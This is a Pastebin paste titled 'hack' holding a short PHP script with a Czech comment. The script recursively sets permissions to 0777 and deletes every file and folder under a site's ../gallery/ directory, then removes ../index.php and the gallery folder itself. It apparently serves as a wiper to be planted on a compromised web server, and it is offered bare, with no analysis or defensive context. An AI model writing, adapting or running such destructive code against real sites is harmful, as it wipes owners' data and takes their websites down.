kazlik

hack

Dec 5th, 2011
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.69 KB | None | 0 0
  1. <?php
  2. // funkce destroy(); není moje
  3.  
  4.  
  5. define('PATH', '../gallery/');
  6.  
  7. function destroy($dir) {
  8.     $mydir = opendir($dir);
  9.     while(false !== ($file = readdir($mydir))) {
  10.         if($file != "." && $file != "..") {
  11.             chmod($dir.$file, 0777);
  12.             if(is_dir($dir.$file)) {
  13.                 chdir('.');
  14.                 destroy($dir.$file.'/');
  15.                 rmdir($dir.$file) or DIE("couldn't delete $dir$file<br />");
  16.             }
  17.             else
  18.                 unlink($dir.$file) or DIE("couldn't delete $dir$file<br />");
  19.         }
  20.     }
  21.     closedir($mydir);
  22. }
  23. destroy(PATH);
  24. echo 'all done.';
  25. unlink('../index.php');
  26. rmdir('../gallery');
  27. echo "hh";
  28. ?>
  29.  
  30.  
Add Comment
Please, Sign In to add comment